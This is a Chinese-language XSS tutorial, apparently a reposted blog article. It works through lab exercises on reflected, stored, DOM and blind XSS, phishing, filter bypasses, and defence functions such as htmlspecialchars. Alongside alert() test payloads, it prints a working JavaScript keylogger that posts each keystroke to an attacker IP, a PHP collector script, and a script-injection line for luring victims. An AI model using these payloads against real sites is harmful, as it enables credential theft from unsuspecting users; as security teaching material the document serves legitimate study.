XSS基本概念和原理说明
基本概念
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。xss是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户
在WEB2.0时代,强调的是互动,使得用户输入信息的机会大增,在这个情况下,我们作为开发者,在开发的时候,要提高警惕。
xss漏洞可以用来进行钓鱼攻击,前端js挖矿,用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制。
XSS攻击的主要途径
XSS攻击方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。
1.第一种:对普通的用户输入,页面原样输出,用户通过对JSCODE的伪装,经过一些操作就会跳出一个木马界面,取得登录用户的Cookie.
2.第二种:在代码区里有用户输入的内容
原则就是,代码区中,绝对不应含有用户输入的东西。
3.第三种:允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂,如下面的四个例子,都可以在IE中运行。
反射性XSS
<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
反射型xss(get)
1.首先输入 >'''<> 并提交,发现可以正常输出。
图3.3.1.1 输入数据
2.查看源码,发现我们的输入全部输出到了p标签中。
图2.1 查看源码
3.之后我们输入payload:<script>alert("xss")</script>,发现输入框中容不下这么长的数据。
图2.2 进行验证
4.按F12,去改maxlength的值,改完后我们的payload执行成功。
图2.3 改变长度
图2.4 查看结果
3.3.2 反射性xss(post)
1.admin/123456 进行登录。
图2.5 进行登录
图2.6 登录成功
2.输入payload: <script>alert('xss')</script>。
图2.7 返回结果
3.以POST形式提交,URL中不会显示参数内容,所以我们不能把恶意代码嵌入URL中,我们先进行抓包。
图2.8 进行抓包
4.右键->Engagement Tools->Generate CSRF Poc,复制这段代码到记事本,命名为xss.html。
图2.9 查看代码
5.当我们点开这个网址,点击按钮。
图2.10 点击按钮
6.测验成功!
图2.11 成功
存储型XSS
1.存储型的XSS与反射型的XSS一样,但它是将脚本存在了后台储存起来,构成更持久的危害,也称为永久性xss。
2.在留言框中输入进行留言。
图3.1 进行留言
3.我们接着输入一段Java script的代码,<script>alert('xss')</script> 。
图3.2 输入代码看结果
4.提交之后,发现弹窗,当我们刷新页面的时候,会发现,会一直弹窗
DOM型XSS
1.DOM 是一项 W3C (World Wide Web Consortium) 标准。
DOM 定义了访问文档的标准:“W3C 文档对象模型(DOM)是中立于平台和语言的接口,它允许程序和脚本动态地访问、更新文档的内容、结构和样式。”
W3C DOM 标准被分为 3 个不同的部分:
·Core DOM - 所有文档类型的标准模型
·XML DOM - XML 文档的标准模型
·HTML DOM - HTML 文档的标准模型
而html dom是HTML 的标准对象模型和编程接口
换句话来说,HTML DOM 是关于如何获取、更改、添加或删除 HTML 元素的标准
HTML DOM 方法是能够(在 HTML 元素上)执行的动作。
HTML DOM 属性是能够设置或改变的 HTML 元素的值。
也就是说dom就是一个前端接口,不与后台交互。
2.在DOM型xss中输入框输入1111,点击click me!
图4.1 输入1111
3.我们查看源代码,首先它使用dom里面的document.getElementById获取到了id=text的值,text 就是下面input 也就是我们输入的内容,然后通过dom的操作,将我们输入的内容拼接在了a标签的href属性中,接着a标签会写在id=dom的div标签中。
图4.2查看源代码
4.通过分析代码,我们发现我们输入的东西是str,而str又拼接在A标签中。然后我们来闭合它<a href = ‘ 'οnclick=“alert(‘xss’)”> '>what do you see简单来说就是单引号闭合前面那个单引号,尖括号闭合a标签,中间再来一个弹窗,然后把我们自己写的拿出来'οnclick=“alert(‘xss’)”>
图4.3查看结果
DOM型xss-x
1.同样是在输入框输入1111点击。
图4.4 输入
2.看它网页的源代码,它会将URL中传参的内容获取到,然后通过一个url的解码,获取到输入内容并赋值给xss,然后将变量xss写入a标签的href属性中,同样是闭合a标签构造代码。
图4.5 查看源码
3.输入我们刚刚的脚本'οnclick=“alert(‘xss’)”>
图4.6 输入脚本
4.要注意的是上面url里的东西,如果将这段url发送给受害者,那么当他点击连接的时候,就会执行我们构造的恶意的Java script代码了。
图4.7 查看url
XSS钓鱼
xss钓鱼测试
这里我们进入存储型xss实验
图5.1 界面
我们发现方框,进行注入js代码,输入
我们发现代码出现了发送认证框,并将信息传送到后台
图 5.2 代码审计
图 5.3 注入
提交后出现登录框,输入默认密码
图 5.4 登录框
进行登录后,就那个入后台查看钓鱼结果
图5..5 xss后台
6.XSS获取键盘记录
键盘记录器
keylogger.js
document.onkeypress = function(evt) {
evt = evt || window.event;
key = String.fromCharCode(evt.charCode);
if(key) {
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://192.168.43.44/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
该脚本是放在攻击者的机器中,让用户访问执行解析用的;用户执行了,在浏览器里键盘输入的字符就会发送到keylogger.php进行处理。下面就是keylogger.php的代码
keylogger.php <?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
该php脚本是用来接受受害者用户返回的数据,即键盘输入的值,然后保存到keylog.txt文本中。
所以可以事先创建keylog.txt文件
总之我们我们需要准备三个文件
那么接下来就是构造有反射型xss漏洞网站的url链接,诱骗用户点击
<script src=http://192.168.43.44/keylogger.js></script>实现的效果如下
任意输入的字符都会被记录(在当前页面)
思路:诱骗用户点击url,点击之后获取攻击者的keylogger.js脚本并解析;解析之后,用户在该页面输入的任何字符会发送到keylogger.php页面进行处理,如果是登陆的站点页面,攻击者就可以轻松获得用户明文的用户名密码。
7.XSS之盲打
1.首先输入数据,然后提交。
图6.1 提交数据
2.我们前端并不会看到,输入之前的代码试一下。
图6.2 再次提交
3.我们登录管理员后台看看,点一下提示。
图6.3 找到访问地址
3.登录之后发现,跳出弹窗。
图6.4 跳出弹窗
4.说明后台没有对输入的东西进行判断,这种危害还是很大的,如果输入一段恶意的代码,就可以获取到管理员的cookie,那么 就可以伪造管理员登录了。
8. XSS的防御绕过
XSS的防御机制存在一定的绕过风险,攻击者可能会利用一些技巧来绕过防御措施。
以下是一些常见的XSS防御绕过技巧:
编码绕过:攻击者可能会使用各种编码方式来混淆恶意脚本,以绕过防御机制。例如,可以使用URL编码、HTML实体编码、Unicode编码等方式来绕过防御。
过滤器绕过:攻击者可能会使用一些技巧来绕过过滤器,使恶意脚本得以注入。例如,可以使用大小写混淆、分隔符混淆、括号嵌套等技巧来绕过过滤器。
漏洞利用:攻击者可能会利用应用程序中的漏洞来注入恶意脚本。例如,可以利用SQL注入漏洞、文件上传漏洞、命令执行
漏洞等来注入恶意脚本。
语言特性绕过:攻击者可能会利用语言的一些特性来绕过防御机制。例如,可以使用二进制表示法、类似于HTML标签的字符串等来绕过防御。
为了防止XSS防御绕过,应该采取以下措施:
使用参数化查询或预处理语句,以避免SQL注入攻击。
对用户输入的数据进行有效的过滤和验证,以确保它们不包含恶意代码。
对输出进行编码,以防止恶意脚本被执行。
定期执行安全测试,以发现并修复潜在的XSS漏洞。
使用Web应用程序防火墙(WAF),以检测和阻止攻击者尝试利用XSS漏洞进行攻击。
9. XSS平台搭建
安装教程
首先我们需要搭建好PHP study:
下载 xss-labs 靶场源码
GitHub下载
https://github.com/do0dl3/xss-labs
- 解压缩并放入如下文件夹(网站根目录)
修改名字,如 xss-labs
- 验证
在浏览器地址输入localhost/xss-labs
或者输入127.0.0.1/xss-labs
再或者输入本机ip/xss-labs
得到如下界面,安装成功
10.XSS绕过之htmlspecialchars()函数
源码解析
<!DOCTYPE html><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body>欢迎来到level2
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "没有找到 和".htmlspecialchars($str)."相关的结果.
".'payload的长度:".strlen($str)."
"; ?> </body> </html>可以看到代码使用了htmlspecialchars()函数,只需要对他进行绕过即可
通过方法
我们进行简单的测试,报错后查看源码,发现<>被转义了
应该是htmlspecialchars() 函数在服务器端对keyword参数的值进行了处理。
只需要将后端的引号和标签先闭合,再注释掉后边的>即可
"><script>alert(1)</script>//
左边的">去闭合原先的" 右边的//去注释原先的">
11. XSS安全防御
XSS防御方法总体思路是对用户输入进行过滤,对输出进行编码。
对用户输入进行XSS防御方式有两种:基于黑名单的过滤和基于白名单的过滤。基于黑名单的过滤是只规定哪些数据不能被输入,但是很可能被绕过,比如对 ' " <> 等进行过滤。而基于白名单的过滤是只定义哪些数据才能被输入,相对来说更安全。
设置http-only参数为true,这样JS就不能读取cookie信息了(但是存在一些特殊情况可能被绕过)。
使用一些函数进行防御,例如htmlspecialchars()、strip_tags()等。
不要随意打开一些来历不明的网站或链接,这样可以避免受到XSS攻击的风险。XSS防御函数
- htmlspecialchars:可以把输入内容转换为HTML实体.
//该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
(1)预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
(大于)成为 >
//过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
//举例1:设置ENT_QUOTES
$message = htmlspecialchars($_GET['message'],ENT_QUOTES);
//举例2:
$str = "<script>alert(document.cookie)</script>";
echo $str;
$str1 = htmlspecialchars($str);
2.htmlentities()作用:把特殊字符转换为html实体
#基本格式:htmlentities(string,flag,character-set,double_encode)函数
$str = "Bill & 'Steve'";
echo htmlentities($str);
echo htmlentities($str, ENT_COMPAT); // 只转换双引号
3.strip_tags()函数作用:自动去掉字符串中HTML/XML和PHP的标签;始终会剥离HTML注释,不能修改.
#举例1:移除html标签
echo strip_tags("Hello world!"); #结果Hello world!
#举例2:移除JS标签
$str = "<script>alert(document.cookie);</script>";
$new = strip_tags($str);
echo $new; #结果alert(document.cookie)
- 虽然这些函数能从一定程度上实现对XSS的防护,但是有时候不够灵活。
可以根据需求,自定义函数,对一些特殊字符进行转译,以提高防护效果。
版权归原作者 mackilo 所有, 如有侵权,请联系我们删除。